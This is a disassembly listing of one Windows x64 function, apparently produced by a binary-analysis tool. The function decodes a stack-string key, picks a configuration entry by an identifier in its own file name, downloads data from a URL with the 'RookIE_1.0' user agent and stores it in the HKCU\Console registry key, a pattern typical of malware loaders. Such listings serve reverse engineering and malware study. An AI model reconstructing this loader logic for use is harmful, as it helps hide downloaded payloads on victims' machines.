Function at 0x140004350
Capabilities:
Contain obfuscated stackstrings
Create http request
Read data from internet
Receive data
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3f0]
sub rsp, 0x4f0
mov rax, qword [0x14004d020]
xor rax, rsp
mov qword [rbp + 0x3e0], rax
xorps xmm0, xmm0
mov dword [rsp + 0x60], 0x61657771
mov dword [rsp + 0x64], 0x32316473
mov dword [rsp + 0x68], 0x63787a33
movdqu xmmword [rbp + 0x20], xmm0
xor r12d, r12d
mov qword [rbp + 0x30], r12
lea ecx, [r12 + 0xc]
call fcn.140012e78
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rax
lea rbx, [rax + 0xc]
mov qword [rbp + 0x30], rbx
lea r8d, [r12 + 0xc]
lea rdx, [rsp + 0x60]
mov rcx, rax
call fcn.140014fc0
mov qword [rbp + 0x28], rbx
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x18], xmm1
mov qword [rbp - 8], r12
mov ecx, 0x534
call fcn.140012e78
mov qword [rbp - 0x18], rax
lea rbx, [rax + 0x534]
mov qword [rbp - 8], rbx
mov r8d, 0x534
lea rdx, [0x14004dc20]
mov rcx, rax
call fcn.140014fc0
mov qword [rbp - 0x10], rbx
lea rdx, [rbp + 0x20]
lea rcx, [rbp - 0x18]
call fcn.140002220
mov qword [rbp - 0x58], r12
mov ecx, r12d
mov qword [rbp - 0x48], rcx
mov r8d, 0xf
mov qword [rbp - 0x40], r8
mov byte [rbp - 0x58], cl
mov rdi, qword [rbp - 0x10]
mov rbx, qword [rbp - 0x18]
mov rdx, rdi
sub rdx, rbx
cmp rdx, 0x10
jb 0x14000446a
lea rcx, [rbp - 0x58]
call fcn.140007eb0
mov ecx, r12d
mov qword [rbp - 0x48], rcx
mov r8, qword [rbp - 0x40]
lea rax, [rbp - 0x58]
mov qword [rsp + 0x60], rax
cmp rbx, rdi
je 0x1400044c4
nop dword [rax + rax]
movzx r9d, byte [rbx]
cmp rcx, r8
jae 0x1400044a9
lea rax, [rcx + 1]
mov qword [rbp - 0x48], rax
lea rax, [rbp - 0x58]
cmp r8, 0x10
cmovae rax, qword [rbp - 0x58]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x1400044b2
lea rcx, [rbp - 0x58]
call fcn.140008000
inc rbx
cmp rbx, rdi
je 0x1400044c4
mov r8, qword [rbp - 0x40]
mov rcx, qword [rbp - 0x48]
jmp 0x140004480
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x180], xmm0
movups xmmword [rbp + 0x190], xmm0
mov qword [rbp + 0x1a0], rax
lea rdx, str.__d_____._______.____
lea rcx, [rbp + 0x180]
call fcn.140006c00
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
movups xmmword [rbp + 0x200], xmm0
movups xmmword [rbp + 0x220], xmm0
movups xmmword [rbp + 0x230], xmm0
mov qword [rbp + 0x1d0], r12
mov byte [rbp + 0x1d8], 0
movdqa xmmword [rbp + 0x1e0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x1f0], xmm1
mov qword [rbp + 0x200], r12
mov byte [rbp + 0x208], 0
movdqa xmmword [rbp + 0x210], xmm0
mov byte [rbp + 0x220], 0
mov qword [rbp + 0x228], r12
mov qword [rbp + 0x230], r12
mov byte [rbp + 0x238], 0
movups xmmword [rbp + 0xb0], xmm0
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0xd0], xmm0
movups xmmword [rbp + 0xe0], xmm0
movups xmmword [rbp + 0xf0], xmm0
movups xmmword [rbp + 0x100], xmm0
movups xmmword [rbp + 0x110], xmm0
movups xmmword [rbp + 0x120], xmm0
movups xmmword [rbp + 0x130], xmm0
lea rcx, [rbp - 0x58]
mov rdx, qword [rbp - 0x48]
cmp qword [rbp - 0x40], 0x10
jb 0x1400045bb
mov rcx, qword [rbp - 0x58]
add rdx, rcx
jmp 0x1400045c2
add rdx, rcx
lea rcx, [rbp - 0x58]
mov qword [rbp + 0xb0], rcx
mov qword [rbp + 0xb8], rdx
lea rax, [rbp + 0x180]
mov qword [rbp + 0xc0], rax
mov dword [rbp + 0xc8], r12d
mov qword [rbp + 0xd0], r12
mov byte [rbp + 0xd8], 0
movdqa xmmword [rbp + 0xe0], xmm0
movdqa xmmword [rbp + 0xf0], xmm1
mov qword [rbp + 0x100], r12
mov byte [rbp + 0x108], 0
movdqa xmmword [rbp + 0x110], xmm0
mov byte [rbp + 0x120], 0
mov qword [rbp + 0x128], r12
mov qword [rbp + 0x130], r12
mov byte [rbp + 0x138], 0
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r12d
lea r9, [rbp + 0x180]
lea r8, [rbp + 0xd0]
call fcn.140007a30
mov rcx, qword [rbp + 0xc0]
test al, al
cmove rcx, r12
mov qword [rbp + 0xc0], rcx
xorps xmm0, xmm0
movups xmmword [rbp + 0x250], xmm0
movups xmmword [rbp + 0x260], xmm0
movups xmmword [rbp + 0x290], xmm0
movups xmmword [rbp + 0x2b0], xmm0
movups xmmword [rbp + 0x2c0], xmm0
movdqa xmmword [rbp + 0x240], xmm0
mov qword [rbp + 0x250], r12
mov qword [rbp + 0x260], r12
mov byte [rbp + 0x268], 0
movdqa xmmword [rbp + 0x270], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x280], xmm1
mov qword [rbp + 0x290], r12
mov byte [rbp + 0x298], 0
movdqa xmmword [rbp + 0x2a0], xmm0
mov byte [rbp + 0x2b0], 0
mov qword [rbp + 0x2b8], r12
mov qword [rbp + 0x2c0], r12
mov byte [rbp + 0x2c8], 0
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x68], r12
mov qword [rbp - 0x60], r12
mov ecx, 0x80
call fcn.140012e78
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbp - 0x68], rax
movabs rdi, 0x2aaaaaaaaaaaaaab
nop dword [rax]
nop word [rax + rax]
cmp qword [rbp + 0xc0], 0
je 0x140004b9b
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
movups xmmword [rbp + 0x50], xmm0
movups xmmword [rbp + 0x60], xmm0
movups xmmword [rbp + 0x70], xmm0
movups xmmword [rbp + 0x80], xmm0
movups xmmword [rbp + 0x90], xmm0
movups xmmword [rbp + 0xa0], xmm0
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x40]
call fcn.140004250
nop
mov r9, qword [rbp + 0x58]
mov rdx, r9
mov rcx, qword [rbp + 0x50]
sub rdx, rcx
mov rax, rdi
imul rdx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
cmp rdx, 4
jne 0x140004a79
cmp byte [rcx + 0x28], 0
je 0x1400047b4
movups xmm0, xmmword [rcx + 0x18]
movups xmmword [rsp + 0x60], xmm0
jmp 0x1400047bd
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x78], r12
mov qword [rbp - 0x78], r12
mov qword [rbp - 0x70], 0xf
mov byte [rsp + 0x78], 0
mov rdx, qword [rsp + 0x60]
mov r8, qword [rsp + 0x68]
cmp rdx, r8
je 0x1400047f7
sub r8, rdx
lea rcx, [rsp + 0x78]
call fcn.1400070e0
mov r9, qword [rbp + 0x58]
mov rcx, qword [rbp + 0x50]
mov rdx, r9
sub rdx, rcx
mov rax, rdi
imul rdx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
cmp rdx, 2
lea rax, [rbp + 0x98]
jbe 0x140004822
lea rax, [rcx + 0x30]
cmp byte [rax + 0x10], 0
je 0x140004832
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
jmp 0x14000483b
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x60], xmm0
mov qword [rbp - 0x38], r12
mov qword [rbp - 0x28], r12
mov qword [rbp - 0x20], 0xf
mov byte [rbp - 0x38], 0
mov rdx, qword [rsp + 0x60]
mov r8, qword [rsp + 0x68]
cmp rdx, r8
je 0x140004872
sub r8, rdx
lea rcx, [rbp - 0x38]
call fcn.1400070e0
mov r9, qword [rbp + 0x58]
mov rcx, qword [rbp + 0x50]
sub r9, rcx
mov rax, rdi
imul r9
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
cmp rdx, 3
ja 0x140004898
lea rcx, [rbp + 0x98]
jmp 0x14000489c
add rcx, 0x48
cmp byte [rcx + 0x10], 0
je 0x1400048ac
movups xmm0, xmmword [rcx]
movups xmmword [rsp + 0x60], xmm0
jmp 0x1400048b5
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x60], xmm0
mov qword [rbp], r12
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x18], 0xf
mov byte [rbp], 0
mov rdx, qword [rsp + 0x60]
mov r8, qword [rsp + 0x68]
cmp rdx, r8
je 0x1400048e5
sub r8, rdx
lea rcx, [rbp]
call fcn.1400070e0
nop
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0x140]
call fcn.140006f50
nop
lea rdx, [rbp]
lea rcx, [rbp + 0x160]
call fcn.140006f50
nop
lea r8, [rsp + 0x78]
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x68]
call fcn.140007850
mov rbx, qword [rax]
lea rdx, [rbp + 0x140]
lea rcx, [rbx + 0x40]
call fcn.140006ec0
lea rcx, [rbx + 0x60]
lea rdx, [rbp + 0x160]
call fcn.140006ec0
nop
mov rdx, qword [rbp + 0x178]
cmp rdx, 0x10
jb 0x14000497f
inc rdx
mov rcx, qword [rbp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000497a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400053ae
call fcn.140012e70
mov rdx, qword [rbp + 0x158]
cmp rdx, 0x10
jb 0x1400049c1
inc rdx
mov rcx, qword [rbp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400049bb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400053ae
call fcn.140012e70
nop
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x1400049fd
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400049f7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400053b4
call fcn.140012e70
nop
mov rdx, qword [rbp - 0x20]
cmp rdx, 0x10
jb 0x140004a39
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004a33
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400053ba
call fcn.140012e70
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x140004a75
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004a70
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400053c0
call fcn.140012e70
mov rcx, qword [rbp + 0x50]
mov rax, qword [rbp + 0xe0]
mov rbx, qword [rax + 8]
cmp qword [rax], rbx
jne 0x140004ae2
mov rdx, qword [rbp + 0xb8]
cmp rbx, rdx
je 0x140004b27
mov ecx, dword [rbp + 0xc8]
or ecx, 0x60
mov rax, qword [rbp + 0xb0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ecx
mov r9, qword [rbp + 0xc0]
lea r8, [rbp + 0xd0]
mov rcx, rbx
call fcn.140007a30
test al, al
jne 0x140004b30
mov ecx, dword [rbp + 0xc8]
bts ecx, 8
mov dword [rbp + 0xc8], ecx
bts ecx, 0xe
jmp 0x140004af2
mov ecx, dword [rbp + 0xc8]
bts ecx, 8
mov dword [rbp + 0xc8], ecx
mov rax, qword [rbp + 0xb0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ecx
mov r9, qword [rbp + 0xc0]
lea r8, [rbp + 0xd0]
mov rdx, qword [rbp + 0xb8]
mov rcx, rbx
call fcn.140007a30
test al, al
jne 0x140004b30
mov rcx, qword [rbp + 0x50]
mov qword [rbp + 0xc0], r12
jmp 0x140004b34
mov rcx, qword [rbp + 0x50]
test rcx, rcx
je 0x140004730
mov rdx, qword [rbp + 0x60]
sub rdx, rcx
mov rax, rdi
imul rdx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 3
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004b85
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400053c6
call fcn.140012e70
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x60], r12
jmp 0x140004730
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x2d0]
call fcn.140015710
mov r8d, 0x104
lea rdx, [rbp + 0x2d0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x1400051ea
mov edx, 0x5c
lea rcx, [rbp + 0x2d0]
call fcn.140014e58
test rax, rax
je 0x1400051ea
lea rdx, [rax + 1]
mov qword [rbp - 0x38], r12
mov qword [rbp - 0x28], r12
mov qword [rbp - 0x20], 0xf
mov byte [rbp - 0x38], 0
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], 0
jne 0x140004c05
lea rcx, [rbp - 0x38]
call fcn.1400070e0
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x140], xmm0
movups xmmword [rbp + 0x150], xmm0
mov qword [rbp + 0x160], rax
lea rdx, [0x140045d40]
lea rcx, [rbp + 0x140]
call fcn.140006c00
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
movups xmmword [rbp + 0x70], xmm0
movups xmmword [rbp + 0x90], xmm0
movups xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0x40], r12
mov byte [rbp + 0x48], 0
movdqa xmmword [rbp + 0x50], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x60], xmm1
mov qword [rbp + 0x70], r12
mov byte [rbp + 0x78], 0
movdqa xmmword [rbp + 0x80], xmm0
mov byte [rbp + 0x90], 0
mov qword [rbp + 0x98], r12
mov qword [rbp + 0xa0], r12
mov byte [rbp + 0xa8], 0
lea r8, [rbp - 0x38]
cmp qword [rbp - 0x20], 0x10
jb 0x140004cbc
mov rcx, qword [rbp - 0x38]
mov rdx, qword [rbp - 0x28]
add rdx, rcx
mov r8, rcx
jmp 0x140004cc8
lea rdx, [rbp - 0x38]
add rdx, qword [rbp - 0x28]
lea rcx, [rbp - 0x38]
mov qword [rsp + 0x28], r8
mov dword [rsp + 0x20], r12d
lea r9, [rbp + 0x140]
lea r8, [rbp + 0x40]
call fcn.140007a30
test al, al
je 0x140005423
mov rcx, qword [rbp + 0x58]
mov r8, qword [rbp + 0x50]
sub rcx, r8
mov rax, rdi
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
cmp rdx, 1
jne 0x140005423
cmp byte [r8 + 0x10], 0
je 0x140004d25
movups xmm0, xmmword [r8]
movups xmmword [rsp + 0x60], xmm0
jmp 0x140004d2e
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x78], r12
mov rdi, r12
mov qword [rbp - 0x78], r12
mov r12d, 0xf
mov qword [rbp - 0x70], r12
mov byte [rsp + 0x78], dil
mov rdx, qword [rsp + 0x60]
mov r8, qword [rsp + 0x68]
cmp rdx, r8
je 0x140004d6d
sub r8, rdx
lea rcx, [rsp + 0x78]
call fcn.1400070e0
mov r12, qword [rbp - 0x70]
mov rdi, qword [rbp - 0x78]
mov r13, qword [rbp - 0x68]
mov rbx, qword [r13 + 8]
mov r14, r13
mov r15, qword [rsp + 0x78]
cmp byte [rbx + 0x19], 0
jne 0x140004dd9
cmp r12, 0x10
setae r13b
nop dword [rax + rax]
lea rdx, [rsp + 0x78]
test r13b, r13b
cmovne rdx, r15
lea rcx, [rbx + 0x20]
cmp qword [rbx + 0x38], 0x10
jb 0x140004dab
mov rcx, qword [rbx + 0x20]
mov rsi, qword [rbx + 0x30]
mov r8, rsi
cmp rdi, rsi
cmovb r8, rdi
call fcn.1400158d0
test eax, eax
je 0x140004e1c
sets al
test al, al
jne 0x140004e21
mov r14, rbx
mov rbx, qword [rbx]
cmp byte [rbx + 0x19], 0
je 0x140004d90
mov r13, qword [rbp - 0x68]
cmp byte [r14 + 0x19], 0
jne 0x140004e2c
lea rdx, [r14 + 0x20]
cmp qword [r14 + 0x38], 0x10
jb 0x140004def
mov rdx, qword [r14 + 0x20]
lea rcx, [rsp + 0x78]
cmp r12, 0x10
cmovae rcx, r15
mov rbx, qword [r14 + 0x30]
mov r8, rdi
cmp rbx, rdi
cmovb r8, rbx
call fcn.1400158d0
test eax, eax
je 0x140004e27
sets al
test al, al
jne 0x140004e2c
jmp 0x140004e2f
cmp rsi, rdi
jae 0x140004dc9
mov rbx, qword [rbx + 0x10]
jmp 0x140004dcf
cmp rdi, rbx
jae 0x140004e2f
mov r14, r13
cmp r14, r13
je 0x1400053f0
lea r8, [rsp + 0x78]
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x68]
call fcn.140007850
mov rdx, qword [rax]
add rdx, 0x40
lea rcx, [rbp + 0x1a8]
call fcn.140006f50
nop
lea r8, [rsp + 0x78]
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x68]
call fcn.140007850
mov rdx, qword [rax]
add rdx, 0x60
lea rcx, [rbp]
call fcn.140006f50
nop
lea rdx, str.Executing_code_for_identifier
lea rcx, [0x14004ea70]
call fcn.140007480
lea rdx, [rsp + 0x78]
cmp qword [rbp - 0x70], 0x10
cmovae rdx, qword [rsp + 0x78]
mov r8, qword [rbp - 0x78]
mov rcx, rax
call fcn.140009400
mov rcx, rax
lea rdx, [0x140045bfc]
call fcn.140007480
lea r14, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae r14, qword [rbp]
lea rbx, [rbp + 0x1a8]
cmp qword [rbp + 0x1c0], 0x10
cmovae rbx, qword [rbp + 0x1a8]
mov ecx, 0x1000
call fcn.140012eb4
mov rdi, rax
mov dword [rsp + 0x70], 1
xor r12d, r12d
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.RookIE_1.0
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r15, rax
test rax, rax
je 0x14000503a
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], 0x4000000
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rsi, rax
test rax, rax
je 0x140005031
mov qword [rsp + 0x40], r12
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Console
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x140005028
mov ebx, r12d
cmp dword [rsp + 0x70], r12d
jbe 0x14000501d
mov r8d, 0x1000
sub r8d, ebx
mov edx, ebx
add rdx, rdi
lea r9, [rsp + 0x70]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [rsp + 0x70]
test eax, eax
je 0x140004ff9
add ebx, eax
cmp ebx, 0x1000
jne 0x140004ff5
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rdi
mov r9d, 3
xor r8d, r8d
mov rdx, r14
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ebx, r12d
mov eax, dword [rsp + 0x70]
test eax, eax
jne 0x140004fa0
test ebx, ebx
je 0x14000501d
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rdi
mov r9d, 3
xor r8d, r8d
mov rdx, r14
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call fcn.140012e70
nop
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x14000507e
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005079
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400053cc
call fcn.140012e70
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x18], 0xf
mov byte [rbp], 0
mov rdx, qword [rbp + 0x1c0]
cmp rdx, 0x10
jb 0x1400050d0
inc rdx
mov rcx, qword [rbp + 0x1a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400050ca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400053d2
call fcn.140012e70
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x14000510d
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005107
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400053d8
call fcn.140012e70
nop
mov r8, qword [rbp + 0x50]
movabs rdi, 0x2aaaaaaaaaaaaaab
test r8, r8
je 0x14000517c
mov rcx, qword [rbp + 0x60]
sub rcx, r8
mov rax, rdi
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 3
mov rax, r8
cmp rdx, 0x1000
jb 0x140005168
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400053de
mov rcx, r8
call fcn.140012e70
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x60], r12
lea rcx, [rbp + 0x140]
call fcn.140007060
mov rcx, qword [rbp + 0x160]
test rcx, rcx
je 0x1400051ae
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x1400051ae
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
nop
mov rdx, qword [rbp - 0x20]
cmp rdx, 0x10
jb 0x1400051ea
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400051e4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400053e4
call fcn.140012e70
nop
mov r8, qword [rbp - 0x68]
mov r8, qword [r8 + 8]
lea rdx, [rbp - 0x68]
lea rcx, [rbp - 0x68]
call fcn.1400096b0
mov edx, 0x80
mov rcx, qword [rbp - 0x68]
call fcn.140012e70
nop
mov r8, qword [rbp + 0xe0]
test r8, r8
je 0x14000527f
mov rcx, qword [rbp + 0xf0]
sub rcx, r8
mov rax, rdi
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 3
mov rax, r8
cmp rdx, 0x1000
jb 0x140005265
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400053ea
mov rcx, r8
call fcn.140012e70
xorps xmm0, xmm0
movdqa xmmword [rbp + 0xe0], xmm0
mov qword [rbp + 0xf0], r12
lea rcx, [rbp + 0x180]
call fcn.140007060
mov rcx, qword [rbp + 0x1a0]
test rcx, rcx
je 0x1400052b1
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x1400052b1
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 0x10
jb 0x1400052ec
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400052e7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005449
call fcn.140012e70
mov qword [rbp - 0x48], r12
mov qword [rbp - 0x40], 0xf
mov byte [rbp - 0x58], 0
mov rcx, qword [rbp - 0x18]
test rcx, rcx
je 0x140005342
mov rdx, qword [rbp - 8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005331
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000544f
call fcn.140012e70
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x18], xmm0
mov qword [rbp - 8], r12
mov rcx, qword [rbp + 0x20]
test rcx, rcx
je 0x140005378
mov rdx, qword [rbp + 0x30]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005373
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400053a8
call fcn.140012e70
mov rcx, qword [rbp + 0x3e0]
xor rcx, rsp
call fcn.140012e50
lea r11, [rsp + 0x4f0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14001c600
nop
call fcn.14001c600
nop
call fcn.14001c600
nop
call fcn.14001c600
nop
call fcn.14001c600
nop
call fcn.14001c600
nop
call fcn.14001c600
nop
call fcn.14001c600
nop
call fcn.14001c600
nop
call fcn.14001c600
nop
call fcn.14001c600
nop
call fcn.14001c600
nop
lea rdx, str.No_matching_code_found_for_identifier:
lea rcx, [0x14004ec10]
call fcn.140007480
mov rcx, rax
lea rdx, [rsp + 0x78]
call fcn.140007750
mov rcx, rax
call fcn.140006a30
mov ecx, 1
call fcn.140019654
nop
lea rdx, str.No_valid_identifier_found_in_file_name.
lea rcx, [0x14004ec10]
call fcn.140007480
mov rcx, rax
call fcn.140006a30
mov ecx, 1
call fcn.140019654
nop
call fcn.14001c600
nop
call fcn.14001c600
int3